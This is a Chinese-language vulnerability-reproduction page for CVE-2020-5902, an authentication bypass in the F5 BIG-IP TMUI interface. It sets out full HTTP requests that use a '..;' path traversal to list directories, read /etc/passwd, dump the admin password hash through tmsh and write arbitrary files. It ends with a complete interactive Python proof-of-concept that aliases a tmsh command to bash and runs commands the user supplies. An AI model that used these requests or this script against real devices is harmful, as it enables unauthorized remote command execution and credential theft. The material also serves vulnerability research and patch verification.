menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-5902)F5 BIG-IP 远程命令执行漏洞 chevron_right (CVE-2020-5902)F5 BIG-IP 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-5902)F5 BIG-IP 远程命令执行漏洞.md
    16.76 KB / 2021-07-15 19:52:25
        (CVE-2020-5902)F5 BIG-IP 远程命令执行漏洞
    ===========================================
    
    一、漏洞简介
    ------------
    
    本次漏洞位于F5
    BIG-IP产品,流量管理用户页面(TMUI)存在认证绕过漏洞(CVE-2020-5902),导致可以未授权访问TMUI模块所有功能(包括未公开功能),漏洞影响范围包括执行任意系统命令、任意文件读取、任意文件写入、开启/禁用服务等。
    
    二、漏洞影响
    ------------
    
    BIG-IP 15.x: 15.1.0/15.0.0BIG-IP 14.x: 14.1.0 \~ 14.1.2BIG-IP 13.x: 13.1.0 \~ 13.1.3BIG-IP 12.x: 12.1.0 \~ 12.1.5BIG-IP 11.x: 11.6.1 \~ 11.6.5
    
    三、复现过程
    ------------
    
    ### 列当前文件
    
        /tmui/locallb/workspace/directoryList.jsp
    
    Example:
    
        directoryPath=/usr/local/www/
    
    1.png
    
    #### BurpSuite Request
    
        GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
        Host: www.0-sec.org
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Cookie: JSESSIONID=65ACC6C79B31335D71E4F432DB39EA50
        Connection: close
        Upgrade-Insecure-Requests: 1
    
    #### BurpSuite Response
    
              {
                "dir": "tmui",
                "children": [
                  {
                    "dir": "WEB-INF",
                    "children": [
                      {
                        "dir": "classes",
                        "children": [
                          {
                            "dir": "org",
                            "children": [
                              {
                                "dir": "apache",
                                "children": [
                                  {
                                    "dir": "jsp",
                                    "children": [
                                      {
                                        "dir": "common",
                                        "children": [
                                          {
                                            "file": "deleteconfirm_jsp.class"
          
                                              ............................
    
    ### 读取当前文件
    
    Example:
    
        /tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    
    2.png
    
    #### BurpSuite Requests
    
        GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
        Host: www.0-sec.org
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
    
    #### BurpSuite Response
    
        {
          "output": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\ntmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin\nadmin:x:0:500:Admin User:/home/admin:/sbin/nologin\nvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npostgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin\nf5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin\noprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin\nhsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin\napache:x:48:48:Apache:/usr/local/www:/sbin/nologin\ntomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin\nmysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin\nnamed:x:25:25:Named:/var/named:/bin/false\nqemu:x:107:107:qemu user:/:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nsdm:x:498:495:sdmuser:/var/sdm:/bin/false\nntp:x:38:38::/etc/ntp:/sbin/nologin\nsyscheck:x:199:10::/:/sbin/nologin\nrestnoded:x:198:198::/:/sbin/nologin\ntwister5:x:0:500:twister5:/home/twister5:/bin/bash\n"
        }
    
    #### format
    
        root:x:0:0:root:/root:/bin/bash
        bin:x:1:1:bin:/bin:/sbin/nologin
        daemon:x:2:2:daemon:/sbin:/sbin/nologin
        adm:x:3:4:adm:/var/adm:/sbin/nologin
        lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
        mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
        uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
        operator:x:11:0:operator:/root:/sbin/nologin
        nobody:x:99:99:Nobody:/:/sbin/nologin
        tmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin
        admin:x:0:500:Admin User:/home/admin:/sbin/nologin
        vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
        dbus:x:81:81:System message bus:/:/sbin/nologin
        postgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin
        f5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin
        oprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin
        tcpdump:x:72:72::/:/sbin/nologin
        rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
        hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
        apache:x:48:48:Apache:/usr/local/www:/sbin/nologin
        tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin
        mysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin
        named:x:25:25:Named:/var/named:/bin/false
        qemu:x:107:107:qemu user:/:/sbin/nologin
        sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
        sdm:x:498:495:sdmuser:/var/sdm:/bin/false
        ntp:x:38:38::/etc/ntp:/sbin/nologin
        syscheck:x:199:10::/:/sbin/nologin
        restnoded:x:198:198::/:/sbin/nologin
        twister5:x:0:500:twister5:/home/twister5:/bin/bash
    
    ### 远程命令执行
    
    Example:
    
        /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
    
    `list auth user` look all user
    
    `list auth user admin` only look admin user
    
    https://devcentral.f5.com/s/question/0D51T00006i7hq9/tmsh-command-to-list-all-users-in-all-partitions3.png
    
        GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
        Host: www.0-sec.org
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        {
          "error": "",
          "output": "auth user admin {\n    description \"Admin User\"\n    encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1\n    partition Common\n    partition-access {\n        all-partitions {\n            role admin\n        }\n    }\n    shell tmsh\n}\n"
        }
    
    #### format
    
            description "Admin User"
            encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1
            partition Common
            partition-access {
                all-partitions {
                    role admin
                }
            }
            shell tmsh
        }
    
    #### WorkspaceUtils.runTmshCommand
    
        JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd, request);
        /usr/local/www/tmui/WEB-INF/lib/tmui.jar/com.f5.tmui.locallb.handler.workspace.WorkspaceUtils#runTmshCommand
          public static JSONObject runTmshCommand(String command, HttpServletRequest request) {
            F5Logger logger = (F5Logger)F5Logger.getLogger(WorkspaceUtils.class);
            JSONObject resultObject = new JSONObject();
            String output = "";
            String error = "";
            if (!csrfValidated(request.getHeader("_bufvalue"), request.getHeader("_timenow"), request.getHeader("Tmui-Dubbuf"))) {
              logger.warn("Invalid user token - token provided by user is not authorized");
              resultObject.put("output", output);
              resultObject.put("error", NLSEngine.getString("ilx.workspace.error.InvalidUserToken"));
              return resultObject;
            } 
            if ("POST".equalsIgnoreCase(request.getMethod())) {
              String[] cmdArray = command.split(" ");
              String operation = cmdArray[0];
              String module = cmdArray[2];
              if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
                try {
                  String[] args = { command };
                  Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
                  output = result.getOutput();
                  error = result.getError();
                } catch (com.f5.tmui.util.Syscall.CallException e) {
                  logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + e.getMessage());
                  error = e.getMessage();
                } 
              } else {
                error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
              } 
            } else {
              error = NLSEngine.getString("ilx.workspace.error.InvalidMethod");
            } 
            resultObject.put("output", output);
            resultObject.put("error", error);
            return resultObject;
          }
    
    ### 文件上传
    
    Example: `/tmui/locallb/workspace/fileSave.jsp`
    
    POST: `fileName=/tmp/1.txt&content=CVE-2020-5902`
    
    4.png
    
    #### Burpsuite Requests
    
        POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
        Host: www.0-sec.org
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 41
    
        fileName=/tmp/1.txt&content=CVE-2020-5902
    
    
    
        HTTP/1.1 200 OK
        Date: Mon, 06 Jul 2020 02:05:29 GMT
        X-Frame-Options: SAMEORIGIN
        Strict-Transport-Security: max-age=16070400; includeSubDomains
        Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
        Content-Type: text/html;charset=ISO-8859-1
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 1; mode=block
        Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:  http://127.4.1.1 http://127.4.2.1
        Vary: Accept-Encoding
        Content-Length: 4
        Connection: close
    
    #### File Read /tmp/1.txt
    
    5.png
    
        GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt HTTP/1.1
        Host: www.0-sec.org
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        HTTP/1.1 200 OK
        Date: Mon, 06 Jul 2020 02:06:07 GMT
        X-Frame-Options: SAMEORIGIN
        Strict-Transport-Security: max-age=16070400; includeSubDomains
        Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
        Content-Type: text/html;charset=ISO-8859-1
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 1; mode=block
        Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:  http://127.4.1.1 http://127.4.2.1
        Vary: Accept-Encoding
        Content-Length: 32
        Connection: close
    
    
    
    
    
        {"output":"CVE-2020-5902\n"}
    
    #### upload /tmp/1.txt Successful !
    
    ### poc
    
    6.png
    
        #coding:utf-8
        import requests
        import json
        import requests.packages.urllib3
        requests.packages.urllib3.disable_warnings()
        import uuid
        import sys
    
        # tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
        # fileSave.jsp?fileName=/tmp/cmd&content=id
        # tmshCmd.jsp?command=list+/tmp/cmd
        # tmshCmd.jsp?command=delete+cli+alias+private+list
    
        banner = r'''
         _______  _______    ______  _________ _______   _________ _______    _______  _______  _______ 
        (  ____ \(  ____ \  (  ___ \ \__   __/(  ____ \  \__   __/(  ____ )  (  ____ )(  ____ \(  ____     | (    \/| (    \/  | (   ) )   ) (   | (    \/     ) (   | (    )|  | (    )|| (    \/| (    \/
        | (__    | (____    | (__/ /    | |   | |           | |   | (____)|  | (____)|| |      | (__    
        |  __)   (_____ \   |  __ (     | |   | | ____      | |   |  _____)  |     __)| |      |  __)   
        | (            ) )  | (  \ \    | |   | | \_  )     | |   | (        | (\ (   | |      | (      
        | )      /\____) )  | )___) )___) (___| (___) |  ___) (___| )        | ) \ \__| (____/\| (____/    |/       \______/   |/ \___/ \_______/(_______)  \_______/|/         |/   \__/(_______/(_______/
                                                                                                        
                                CVE-2020-5902 UnAuth RCE Vuln
                                    Python By Jas502n
        From: https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
        ____________________________________________________________________________________________________________________________________________________
        '''
    
        def tmshCmd_exit(url,file,cmd):
            tmshCmd_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
            proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
            r = requests.get(tmshCmd_url,verify=False,allow_redirects=False)
            # r = requests.get(tmshCmd_url,verify=False,allow_redirects=False,proxies=proxies)
    
            response_str = json.dumps(r.headers.__dict__['_store'])
            # print type(response_str)
            # print response_str
            if r.status_code == 200 and 'tmui' in response_str:
                # print tmshCmd_url
                print "[+] tmshCmd.jsp Exit!"
                print "[+] create cli alias private list command bash \n"
                # cmd = 'whoami'
                upload_exit(url,file,cmd)
    
    
            else:
                print "[+] tmshCmd.jsp No Exit!\n"
    
        def upload_exit(url,file,cmd):
            fileSave_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content="%file + cmd
            proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
            r = requests.get(fileSave_url,verify=False,allow_redirects=False)
            # r = requests.get(fileSave_url,verify=False,allow_redirects=False,proxies=proxies)
            response_str = json.dumps(r.headers.__dict__['_store'])
            if r.status_code == 200 and 'tmui' in response_str:
                # print fileSave_url
                print "[+] fileSave.jsp Exit!\n"
                list_command(url,file)
            else:
                print "[+] fileSave.jsp No Exit!\n"
    
        def list_command(url,file):
            rce_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s" % file
            proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
            r = requests.get(rce_url,verify=False,allow_redirects=False)
            # r = requests.get(rce_url,verify=False,allow_redirects=False,proxies=proxies)
            response_str = json.dumps(r.headers.__dict__['_store'])
            # print len(r.content)
            if r.status_code == 200 and 'tmui' in response_str:
                if len(r.content) > 33:
                    # print rce_url
                    print "[+] Command Successfull !\n"
                    command_result = json.loads(r.content)
                    print "_"*90,'\n\n'
                    print command_result['output']
                    print "_"*90,"\n\n"
                    delete_list(url)
            else:
                print "[+] Command Failed !\n"
    
        def delete_list(url):
            delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'
            proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
            r = requests.get(delete_url,verify=False,allow_redirects=False)
            # r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
            response_str = json.dumps(r.headers.__dict__['_store'])
            if r.status_code == 200 and 'tmui' in response_str:
                # print delete_url
                print "[+] delete cli alias private list Successfull! \n"
            else:
                print "[+] delete cli alias private list Failed! \n"
    
    
    
    
    
    
        if __name__ == '__main__':
            print banner
            while 1:
                url = "https://x.x.x.x/"
                # url = sys.argv[1]
                file = str(uuid.uuid1())
                print "/tmp/" + file,"\n"
                cmd = raw_input("[+]Set Cmd= ")
                print
                tmshCmd_exit(url,file,cmd)
    
    
    links
    file_download